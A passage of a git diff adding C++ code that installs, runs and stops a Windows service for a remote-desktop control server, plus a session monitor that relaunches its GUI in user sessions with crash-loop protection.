(LPBYTE)&ssp,
|
||||
sizeof(SERVICE_STATUS_PROCESS),
|
||||
&bytesNeeded)) {
|
||||
*running = (ssp.dwCurrentState == SERVICE_RUNNING);
|
||||
}
|
||||
|
||||
// 获取 EXE 路径
|
||||
if (exePath && exePathSize > 0) {
|
||||
DWORD bufSize = 0;
|
||||
QueryServiceConfigA(hService, NULL, 0, &bufSize);
|
||||
|
||||
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER) {
|
||||
LPQUERY_SERVICE_CONFIGA pConfig = (LPQUERY_SERVICE_CONFIGA)malloc(bufSize);
|
||||
if (pConfig) {
|
||||
if (QueryServiceConfigA(hService, pConfig, bufSize, &bufSize)) {
|
||||
strncpy_s(exePath, exePathSize, pConfig->lpBinaryPathName, _TRUNCATE);
|
||||
}
|
||||
free(pConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int ServerService_StartSimple(void)
|
||||
{
|
||||
// 打开SCM
|
||||
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return (int)GetLastError();
|
||||
}
|
||||
|
||||
// 打开服务并启动
|
||||
SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_START);
|
||||
if (!hService) {
|
||||
int err = (int)GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 启动服务
|
||||
BOOL ok = StartServiceA(hService, 0, NULL);
|
||||
int err = ok ? ERROR_SUCCESS : (int)GetLastError();
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return err;
|
||||
}
|
||||
|
||||
int ServerService_Run(void)
|
||||
{
|
||||
SERVICE_TABLE_ENTRY ServiceTable[2];
|
||||
ServiceTable[0].lpServiceName = (LPSTR)SERVER_SERVICE_NAME;
|
||||
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;
|
||||
ServiceTable[1].lpServiceName = NULL;
|
||||
ServiceTable[1].lpServiceProc = NULL;
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("ServerService_Run() called");
|
||||
|
||||
if (StartServiceCtrlDispatcher(ServiceTable) == FALSE) {
|
||||
DWORD err = GetLastError();
|
||||
char buffer[256];
|
||||
sprintf_s(buffer, sizeof(buffer), "StartServiceCtrlDispatcher failed: %d", (int)err);
|
||||
Mprintf(buffer);
|
||||
return (int)err;
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
int ServerService_Stop(void)
|
||||
{
|
||||
// 打开SCM
|
||||
SC_HANDLE hSCM = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) {
|
||||
return (int)GetLastError();
|
||||
}
|
||||
|
||||
// 打开服务
|
||||
SC_HANDLE hService = OpenServiceA(hSCM, SERVER_SERVICE_NAME, SERVICE_STOP | SERVICE_QUERY_STATUS);
|
||||
if (!hService) {
|
||||
int err = (int)GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 查询当前状态
|
||||
SERVICE_STATUS status;
|
||||
if (!QueryServiceStatus(hService, &status)) {
|
||||
int err = (int)GetLastError();
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return err;
|
||||
}
|
||||
|
||||
// 如果服务未运行,直接返回成功
|
||||
if (status.dwCurrentState == SERVICE_STOPPED) {
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// 发送停止控制命令
|
||||
if (!ControlService(hService, SERVICE_CONTROL_STOP, &status)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_NOT_ACTIVE) {
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return (int)err;
|
||||
}
|
||||
}
|
||||
|
||||
// 等待服务停止(最多30秒)
|
||||
int waitCount = 0;
|
||||
while (status.dwCurrentState != SERVICE_STOPPED && waitCount < 30) {
|
||||
Sleep(1000);
|
||||
waitCount++;
|
||||
if (!QueryServiceStatus(hService, &status)) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int result = (status.dwCurrentState == SERVICE_STOPPED) ? ERROR_SUCCESS : ERROR_TIMEOUT;
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv)
|
||||
{
|
||||
(void)argc;
|
||||
(void)argv;
|
||||
|
||||
Mprintf("ServiceMain() called");
|
||||
|
||||
g_StatusHandle = RegisterServiceCtrlHandler(
|
||||
SERVER_SERVICE_NAME,
|
||||
ServiceCtrlHandler
|
||||
);
|
||||
|
||||
if (g_StatusHandle == NULL) {
|
||||
Mprintf("RegisterServiceCtrlHandler failed");
|
||||
return;
|
||||
}
|
||||
|
||||
ZeroMemory(&g_ServiceStatus, sizeof(g_ServiceStatus));
|
||||
g_ServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwServiceSpecificExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 0;
|
||||
g_ServiceStatus.dwWaitHint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
|
||||
g_StopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
if (g_StopEvent == NULL) {
|
||||
Mprintf("CreateEvent failed");
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
g_ServiceStatus.dwWin32ExitCode = GetLastError();
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
return;
|
||||
}
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
Mprintf("Service is now running");
|
||||
|
||||
HANDLE hThread = CreateThread(NULL, 0, ServerService_WorkerThread, NULL, 0, NULL);
|
||||
if (hThread) {
|
||||
WaitForSingleObject(hThread, INFINITE);
|
||||
SAFE_CLOSE_HANDLE(hThread);
|
||||
}
|
||||
|
||||
SAFE_CLOSE_HANDLE(g_StopEvent);
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 3;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
Mprintf("Service stopped");
|
||||
}
|
||||
|
||||
static void WINAPI ServiceCtrlHandler(DWORD ctrlCode)
|
||||
{
|
||||
switch (ctrlCode) {
|
||||
case SERVICE_CONTROL_STOP:
|
||||
Mprintf("SERVICE_CONTROL_STOP received");
|
||||
|
||||
if (g_ServiceStatus.dwCurrentState != SERVICE_RUNNING)
|
||||
break;
|
||||
|
||||
g_ServiceStatus.dwControlsAccepted = 0;
|
||||
g_ServiceStatus.dwCurrentState = SERVICE_STOP_PENDING;
|
||||
g_ServiceStatus.dwWin32ExitCode = 0;
|
||||
g_ServiceStatus.dwCheckPoint = 4;
|
||||
g_ServiceStatus.dwWaitHint = 0;
|
||||
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
SetEvent(g_StopEvent);
|
||||
break;
|
||||
|
||||
case SERVICE_CONTROL_INTERROGATE:
|
||||
SetServiceStatus(g_StatusHandle, &g_ServiceStatus);
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// 服务工作线程
|
||||
DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam)
|
||||
{
|
||||
(void)lpParam;
|
||||
int heartbeatCount = 0;
|
||||
char buf[128];
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("Worker thread started");
|
||||
Mprintf("Service will launch Yama GUI in user sessions");
|
||||
|
||||
// 读取配置:运行模式 (RunNormal: 0=服务+SYSTEM, 1=普通模式, 2=服务+User)
|
||||
int runNormal = THIS_CFG.GetInt("settings", "RunNormal", 0);
|
||||
|
||||
// 初始化会话监控器
|
||||
ServerSessionMonitor monitor;
|
||||
ServerSessionMonitor_Init(&monitor);
|
||||
monitor.runAsUser = (runNormal == 2);
|
||||
|
||||
// 从配置恢复崩溃窗口状态
|
||||
int savedCrashCount = THIS_CFG.GetInt(CFG_CRASH_SECTION, CFG_CRASH_WIN_COUNT, 0);
|
||||
std::string savedStartStr = THIS_CFG.GetStr(CFG_CRASH_SECTION, CFG_CRASH_WIN_START, "0");
|
||||
ULONGLONG savedFirstCrashTime = _strtoui64(savedStartStr.c_str(), NULL, 10);
|
||||
ULONGLONG now = GetTickCount64();
|
||||
|
||||
if (savedCrashCount > 0 && savedFirstCrashTime > 0) {
|
||||
// 检查是否仍在窗口期内
|
||||
// 注意:GetTickCount64() 在系统重启后会重置,所以如果 savedFirstCrashTime > now,说明系统重启过
|
||||
if (savedFirstCrashTime <= now && (now - savedFirstCrashTime) <= CRASH_WINDOW_MS) {
|
||||
// 仍在窗口期内,恢复状态
|
||||
monitor.crashCount = savedCrashCount;
|
||||
monitor.firstCrashTime = savedFirstCrashTime;
|
||||
sprintf_s(buf, sizeof(buf), "Crash window state restored: count=%d, elapsed=%llums",
|
||||
savedCrashCount, now - savedFirstCrashTime);
|
||||
Mprintf(buf);
|
||||
} else {
|
||||
// 窗口期已过或系统重启,清除状态
|
||||
THIS_CFG.SetInt(CFG_CRASH_SECTION, CFG_CRASH_WIN_COUNT, 0);
|
||||
THIS_CFG.SetStr(CFG_CRASH_SECTION, CFG_CRASH_WIN_START, "0");
|
||||
Mprintf("Crash window expired or system rebooted, state cleared");
|
||||
}
|
||||
}
|
||||
|
||||
// 设置回调函数
|
||||
monitor.onAgentStart = OnAgentStart;
|
||||
monitor.onAgentExit = OnAgentExit;
|
||||
monitor.onCrash = OnAgentCrash;
|
||||
monitor.onCrashWindowChange = OnCrashWindowChange;
|
||||
monitor.onCrashProtection = OnAgentCrashProtection;
|
||||
|
||||
if (!ServerSessionMonitor_Start(&monitor)) {
|
||||
Mprintf("ERROR: Failed to start session monitor");
|
||||
ServerSessionMonitor_Cleanup(&monitor);
|
||||
return ERROR_SERVICE_SPECIFIC_ERROR;
|
||||
}
|
||||
|
||||
Mprintf("Session monitor started successfully");
|
||||
Mprintf("Yama GUI will be launched automatically in user sessions");
|
||||
|
||||
// 主循环,等待停止信号或监控器停止
|
||||
// 使用 1 秒超时以快速响应监控器停止
|
||||
while (WaitForSingleObject(g_StopEvent, 1000) != WAIT_OBJECT_0) {
|
||||
// 检查监控器是否已停止(例如代理以 EXIT_MANUAL_STOP 退出或崩溃保护触发)
|
||||
if (!monitor.running) {
|
||||
Mprintf("Monitor stopped - exiting worker thread");
|
||||
break;
|
||||
}
|
||||
heartbeatCount++;
|
||||
if (heartbeatCount % 60 == 0) { // 每60秒记录一次(1秒 * 60 = 60秒)
|
||||
sprintf_s(buf, sizeof(buf), "Service heartbeat - uptime: %d minutes", heartbeatCount / 60);
|
||||
Mprintf(buf);
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("Stop signal received");
|
||||
Mprintf("Stopping session monitor...");
|
||||
ServerSessionMonitor_Stop(&monitor);
|
||||
ServerSessionMonitor_Cleanup(&monitor);
|
||||
|
||||
Mprintf("Worker thread exiting");
|
||||
Mprintf("========================================");
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
BOOL ServerService_Install(void)
|
||||
{
|
||||
SC_HANDLE schSCManager = OpenSCManager(
|
||||
NULL,
|
||||
NULL,
|
||||
SC_MANAGER_ALL_ACCESS
|
||||
);
|
||||
|
||||
if (schSCManager == NULL) {
|
||||
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
|
||||
Mprintf("Please run as Administrator\n");
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
char szPath[MAX_PATH];
|
||||
if (!GetModuleFileNameA(NULL, szPath, MAX_PATH)) {
|
||||
Mprintf("ERROR: GetModuleFileName failed (%d)\n", (int)GetLastError());
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 添加 -service 参数
|
||||
char szPathWithArg[MAX_PATH + 32];
|
||||
sprintf_s(szPathWithArg, sizeof(szPathWithArg), "\"%s\" -service", szPath);
|
||||
|
||||
Mprintf("Installing service...\n");
|
||||
Mprintf("Executable path: %s\n", szPathWithArg);
|
||||
|
||||
SC_HANDLE schService = CreateServiceA(
|
||||
schSCManager,
|
||||
SERVER_SERVICE_NAME,
|
||||
SERVER_SERVICE_DISPLAY,
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_WIN32_OWN_PROCESS,
|
||||
SERVICE_AUTO_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
szPathWithArg,
|
||||
NULL, NULL, NULL, NULL, NULL
|
||||
);
|
||||
|
||||
if (schService == NULL) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SERVICE_EXISTS) {
|
||||
Mprintf("INFO: Service already exists\n");
|
||||
schService = OpenServiceA(schSCManager, SERVER_SERVICE_NAME, SERVICE_ALL_ACCESS);
|
||||
if (schService) {
|
||||
Mprintf("SUCCESS: Service is already installed\n");
|
||||
CloseServiceHandle(schService);
|
||||
}
|
||||
return TRUE;
|
||||
} else if (err == ERROR_ACCESS_DENIED) {
|
||||
Mprintf("ERROR: Access denied. Please run as Administrator\n");
|
||||
} else {
|
||||
Mprintf("ERROR: CreateService failed (%d)\n", (int)err);
|
||||
}
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("SUCCESS: Service created successfully\n");
|
||||
|
||||
// 设置服务描述
|
||||
SERVICE_DESCRIPTION sd;
|
||||
sd.lpDescription = (LPSTR)SERVER_SERVICE_DESC;
|
||||
ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd);
|
||||
|
||||
// 立即启动服务
|
||||
DWORD err = 0;
|
||||
Mprintf("Starting service...\n");
|
||||
if (StartServiceA(schService, 0, NULL)) {
|
||||
Mprintf("SUCCESS: Service started successfully\n");
|
||||
Sleep(2000);
|
||||
|
||||
SERVICE_STATUS status;
|
||||
if (QueryServiceStatus(schService, &status)) {
|
||||
if (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
Mprintf("SUCCESS: Service is running\n");
|
||||
} else {
|
||||
Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
err = GetLastError();
|
||||
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
Mprintf("INFO: Service is already running\n");
|
||||
err = 0;
|
||||
} else {
|
||||
Mprintf("WARNING: StartService failed (%d)\n", (int)err);
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
return err == 0;
|
||||
}
|
||||
|
||||
BOOL ServerService_Uninstall(void)
|
||||
{
|
||||
SC_HANDLE schSCManager = OpenSCManager(
|
||||
NULL,
|
||||
NULL,
|
||||
SC_MANAGER_ALL_ACCESS
|
||||
);
|
||||
|
||||
if (schSCManager == NULL) {
|
||||
Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError());
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
SC_HANDLE schService = OpenServiceA(
|
||||
schSCManager,
|
||||
SERVER_SERVICE_NAME,
|
||||
SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS
|
||||
);
|
||||
|
||||
if (schService == NULL) {
|
||||
Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError());
|
||||
CloseServiceHandle(schSCManager);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// 停止服务
|
||||
SERVICE_STATUS status;
|
||||
Mprintf("Stopping service...\n");
|
||||
if (ControlService(schService, SERVICE_CONTROL_STOP, &status)) {
|
||||
Mprintf("Waiting for service to stop");
|
||||
Sleep(1000);
|
||||
|
||||
int waitCount = 0;
|
||||
while (QueryServiceStatus(schService, &status) && waitCount < 30) {
|
||||
if (status.dwCurrentState == SERVICE_STOP_PENDING) {
|
||||
Mprintf(".");
|
||||
Sleep(1000);
|
||||
waitCount++;
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Mprintf("\n");
|
||||
} else {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_NOT_ACTIVE) {
|
||||
Mprintf("WARNING: Failed to stop service (%d)\n", (int)err);
|
||||
}
|
||||
}
|
||||
|
||||
BOOL r = FALSE;
|
||||
// 删除服务
|
||||
Mprintf("Deleting service...\n");
|
||||
if (DeleteService(schService)) {
|
||||
Mprintf("SUCCESS: Service uninstalled successfully\n");
|
||||
r = TRUE;
|
||||
} else {
|
||||
Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError());
|
||||
}
|
||||
|
||||
CloseServiceHandle(schService);
|
||||
CloseServiceHandle(schSCManager);
|
||||
return r;
|
||||
}
|
||||
73
server/2015Remote/ServerServiceWrapper.h
Normal file
73
server/2015Remote/ServerServiceWrapper.h
Normal file
@@ -0,0 +1,73 @@
|
||||
#ifndef SERVER_SERVICE_WRAPPER_H
|
||||
#define SERVER_SERVICE_WRAPPER_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "UIBranding.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
// 服务配置:服务端使用不同的服务名
|
||||
// Debug 版本使用不同的服务名,便于调试
|
||||
// 服务名和显示名均可通过 UIBranding.h 定制
|
||||
#ifdef _DEBUG
|
||||
#define SERVER_SERVICE_NAME BRAND_SERVICE_NAME "_Debug"
|
||||
#define SERVER_SERVICE_DISPLAY BRAND_SERVICE_DISPLAY " (Debug)"
|
||||
#define SERVER_SERVICE_DESC "Provides remote desktop control server functionality."
|
||||
#else
|
||||
#define SERVER_SERVICE_NAME BRAND_SERVICE_NAME
|
||||
#define SERVER_SERVICE_DISPLAY BRAND_SERVICE_DISPLAY
|
||||
#define SERVER_SERVICE_DESC "Provides remote desktop control server functionality."
|
||||
#endif
|
||||
|
||||
/*
|
||||
# 停止服务
|
||||
net stop YamaControlService
|
||||
|
||||
# 查看状态(应该显示 STOPPED)
|
||||
sc query YamaControlService
|
||||
|
||||
# 启动服务
|
||||
net start YamaControlService
|
||||
|
||||
# 再次查看状态(应该显示 RUNNING)
|
||||
sc query YamaControlService
|
||||
*/
|
||||
|
||||
// 检查服务状态
|
||||
// 参数:
|
||||
// registered - 输出参数,服务是否已注册
|
||||
// running - 输出参数,服务是否正在运行
|
||||
// exePath - 输出参数,服务可执行文件路径(可为NULL)
|
||||
// exePathSize - exePath缓冲区大小
|
||||
// 返回: 成功返回TRUE
|
||||
BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running,
|
||||
char* exePath, size_t exePathSize);
|
||||
|
||||
// 简单启动服务
|
||||
// 返回: ERROR_SUCCESS 或错误码
|
||||
int ServerService_StartSimple(void);
|
||||
|
||||
// 运行服务(作为服务主入口)
|
||||
// 返回: ERROR_SUCCESS 或错误码
|
||||
int ServerService_Run(void);
|
||||
|
||||
// 停止服务
|
||||
// 返回: ERROR_SUCCESS 或错误码
|
||||
int ServerService_Stop(void);
|
||||
|
||||
// 安装服务
|
||||
BOOL ServerService_Install(void);
|
||||
|
||||
// 卸载服务
|
||||
BOOL ServerService_Uninstall(void);
|
||||
|
||||
// 服务工作线程
|
||||
DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* SERVER_SERVICE_WRAPPER_H */
|
||||
672
server/2015Remote/ServerSessionMonitor.cpp
Normal file
672
server/2015Remote/ServerSessionMonitor.cpp
Normal file
@@ -0,0 +1,672 @@
|
||||
#include "stdafx.h"
|
||||
#include "ServerSessionMonitor.h"
|
||||
#include "CrashReport.h"
|
||||
#include <stdio.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <userenv.h>
|
||||
|
||||
#pragma comment(lib, "userenv.lib")
|
||||
|
||||
// 动态数组初始容量
|
||||
#define INITIAL_CAPACITY 4
|
||||
|
||||
// 前向声明
|
||||
static DWORD WINAPI MonitorThreadProc(LPVOID param);
|
||||
static void MonitorLoop(ServerSessionMonitor* self);
|
||||
static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId);
|
||||
static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId);
|
||||
static void TerminateAllGui(ServerSessionMonitor* self);
|
||||
static void CleanupDeadProcesses(ServerSessionMonitor* self);
|
||||
|
||||
// 动态数组辅助函数
|
||||
static void AgentArray_Init(ServerAgentProcessArray* arr);
|
||||
static void AgentArray_Free(ServerAgentProcessArray* arr);
|
||||
static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info);
|
||||
static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index);
|
||||
|
||||
// 崩溃保护辅助函数
|
||||
static void HandleFastCrash(ServerSessionMonitor* self, DWORD exitCode, ULONGLONG runtime);
|
||||
|
||||
// 处理快速崩溃(用于崩溃保护,防止重启循环)
|
||||
// 注意:崩溃统计(onCrash)已在调用方处理,这里只处理崩溃窗口逻辑
|
||||
static void HandleFastCrash(ServerSessionMonitor* self, DWORD exitCode, ULONGLONG runtime)
|
||||
{
|
||||
char buf[256];
|
||||
ULONGLONG now = GetTickCount64();
|
||||
|
||||
sprintf_s(buf, sizeof(buf), "Fast crash detected: exitCode=0x%08X, runtime=%llu ms", exitCode, runtime);
|
||||
Mprintf(buf);
|
||||
|
||||
// 检查是否在窗口期内
|
||||
if (self->crashCount == 0 || (now - self->firstCrashTime) > CRASH_WINDOW_MS) {
|
||||
// 开始新的窗口期
|
||||
self->crashCount = 1;
|
||||
self->firstCrashTime = now;
|
||||
sprintf_s(buf, sizeof(buf), "Crash window started, count: %d", self->crashCount);
|
||||
Mprintf(buf);
|
||||
} else {
|
||||
// 在窗口期内,增加计数
|
||||
self->crashCount++;
|
||||
sprintf_s(buf, sizeof(buf), "Crash count increased to: %d (threshold: %d)",
|
||||
self->crashCount, CRASH_THRESHOLD);
|
||||
Mprintf(buf);
|
||||
|
||||
if (self->crashCount >= CRASH_THRESHOLD) {
|
||||
// 触发崩溃保护
|
||||
self->crashProtected = TRUE;
|
||||
sprintf_s(buf, sizeof(buf),
|
||||
"CRASH PROTECTION TRIGGERED: Agent crashed %d times within %d seconds.",
|
||||
CRASH_THRESHOLD, CRASH_WINDOW_MS / 1000);
|
||||
Mprintf(buf);
|
||||
// 调用崩溃保护回调
|
||||
if (self->onCrashProtection) {
|
||||
self->onCrashProtection();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 调用崩溃窗口状态变化回调(用于持久化)
|
||||
if (self->onCrashWindowChange) {
|
||||
self->onCrashWindowChange(self->crashCount, self->firstCrashTime);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 动态数组实现
|
||||
// ============================================
|
||||
|
||||
static void AgentArray_Init(ServerAgentProcessArray* arr)
|
||||
{
|
||||
arr->items = NULL;
|
||||
arr->count = 0;
|
||||
arr->capacity = 0;
|
||||
}
|
||||
|
||||
static void AgentArray_Free(ServerAgentProcessArray* arr)
|
||||
{
|
||||
if (arr->items) {
|
||||
free(arr->items);
|
||||
arr->items = NULL;
|
||||
}
|
||||
arr->count = 0;
|
||||
arr->capacity = 0;
|
||||
}
|
||||
|
||||
static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProcessInfo* info)
|
||||
{
|
||||
// 需要扩容
|
||||
if (arr->count >= arr->capacity) {
|
||||
size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2;
|
||||
ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc(
|
||||
arr->items, newCapacity * sizeof(ServerAgentProcessInfo));
|
||||
if (!newItems) {
|
||||
return FALSE;
|
||||
}
|
||||
arr->items = newItems;
|
||||
arr->capacity = newCapacity;
|
||||
}
|
||||
|
||||
arr->items[arr->count] = *info;
|
||||
arr->count++;
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static void AgentArray_RemoveAt(ServerAgentProcessArray* arr, size_t index)
|
||||
{
|
||||
if (index >= arr->count) {
|
||||
return;
|
||||
}
|
||||
|
||||
// 后面的元素前移
|
||||
for (size_t i = index; i < arr->count - 1; i++) {
|
||||
arr->items[i] = arr->items[i + 1];
|
||||
}
|
||||
arr->count--;
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 公共接口实现
|
||||
// ============================================
|
||||
|
||||
void ServerSessionMonitor_Init(ServerSessionMonitor* self)
|
||||
{
|
||||
self->monitorThread = NULL;
|
||||
self->running = FALSE;
|
||||
self->runAsUser = FALSE; // 默认以SYSTEM身份运行
|
||||
InitializeCriticalSection(&self->csProcessList);
|
||||
AgentArray_Init(&self->agentProcesses);
|
||||
// 崩溃保护初始化
|
||||
self->crashCount = 0;
|
||||
self->firstCrashTime = 0;
|
||||
self->crashProtected = FALSE;
|
||||
// 回调初始化
|
||||
self->onAgentStart = NULL;
|
||||
self->onAgentExit = NULL;
|
||||
self->onCrash = NULL;
|
||||
self->onCrashWindowChange = NULL;
|
||||
self->onCrashProtection = NULL;
|
||||
}
|
||||
|
||||
void ServerSessionMonitor_Cleanup(ServerSessionMonitor* self)
|
||||
{
|
||||
ServerSessionMonitor_Stop(self);
|
||||
DeleteCriticalSection(&self->csProcessList);
|
||||
AgentArray_Free(&self->agentProcesses);
|
||||
}
|
||||
|
||||
BOOL ServerSessionMonitor_Start(ServerSessionMonitor* self)
|
||||
{
|
||||
if (self->running) {
|
||||
Mprintf("Monitor already running");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
Mprintf("========================================");
|
||||
Mprintf("Starting server session monitor...");
|
||||
|
||||
self->running = TRUE;
|
||||
self->monitorThread = CreateThread(NULL, 0, MonitorThreadProc, self, 0, NULL);
|
||||
|
||||
if (!self->monitorThread) {
|
||||
Mprintf("ERROR: Failed to create monitor thread");
|
||||
self->running = FALSE;
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
Mprintf("Server session monitor thread created");
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ServerSessionMonitor_Stop(ServerSessionMonitor* self)
|
||||
{
|
||||
if (!self->running) {
|
||||
return;
|
||||
}
|
||||
|
||||
Mprintf("Stopping server session monitor...");
|
||||
self->running = FALSE;
|
||||
|
||||
if (self->monitorThread) {
|
||||
DWORD waitResult = WaitForSingleObject(self->monitorThread, 10000);
|
||||
if (waitResult == WAIT_TIMEOUT) {
|
||||
// 线程未在规定时间内退出,强制终止
|
||||
Mprintf("WARNING: Monitor thread did not exit in time, terminating...");
|
||||
TerminateThread(self->monitorThread, 1);
|
||||
}
|
||||
SAFE_CLOSE_HANDLE(self->monitorThread);
|
||||
self->monitorThread = NULL;
|
||||
}
|
||||
|
||||
// 终止所有GUI进程
|
||||
Mprintf("Terminating all GUI processes...");
|
||||
// TerminateAllGui(self);
|
||||
|
||||
Mprintf("Server session monitor stopped");
|
||||
Mprintf("========================================");
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// 内部函数实现
|
||||
// ============================================
|
||||
|
||||
static DWORD WINAPI MonitorThreadProc(LPVOID param)
|
||||
{
|
||||
ServerSessionMonitor* monitor = (ServerSessionMonitor*)param;
|
||||
MonitorLoop(monitor);
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void MonitorLoop(ServerSessionMonitor* self)
|
||||
{
|
||||
int loopCount = 0;
|
||||
char buf[256];
|
||||
|
||||
Mprintf("Monitor loop started");
|
||||
|
||||
while (self->running) {
|
||||
loopCount++;
|
||||
|
||||
// 清理已终止的进程
|
||||
CleanupDeadProcesses(self);
|
||||
|
||||
// 检查是否需要停止监控(可能在 CleanupDeadProcesses 中因 EXIT_MANUAL_STOP 设置)
|
||||
if (!self->running) {
|
||||
Mprintf("Monitor stop requested - exiting loop");
|
||||
break;
|
||||
}
|
||||
|
||||
// 检查是否触发了崩溃保护,如果是则退出监控循环
|
||||
// 这会导致服务线程退出,进而停止整个服务
|
||||
if (self->crashProtected) {
|
||||
Mprintf("Crash protection triggered - stopping monitor loop");
|
||||
self->running = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
// 枚举所有会话
|
||||
PWTS_SESSION_INFO pSessionInfo = NULL;
|
||||
DWORD dwCount = 0;
|
||||
|
||||
if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1,
|
||||
&pSessionInfo, &dwCount)) {
|
||||
|
||||
BOOL foundActiveSession = FALSE;
|
||||
|
||||
for (DWORD i = 0; i < dwCount; i++) {
|
||||
if (pSessionInfo[i].State == WTSActive) {
|
||||
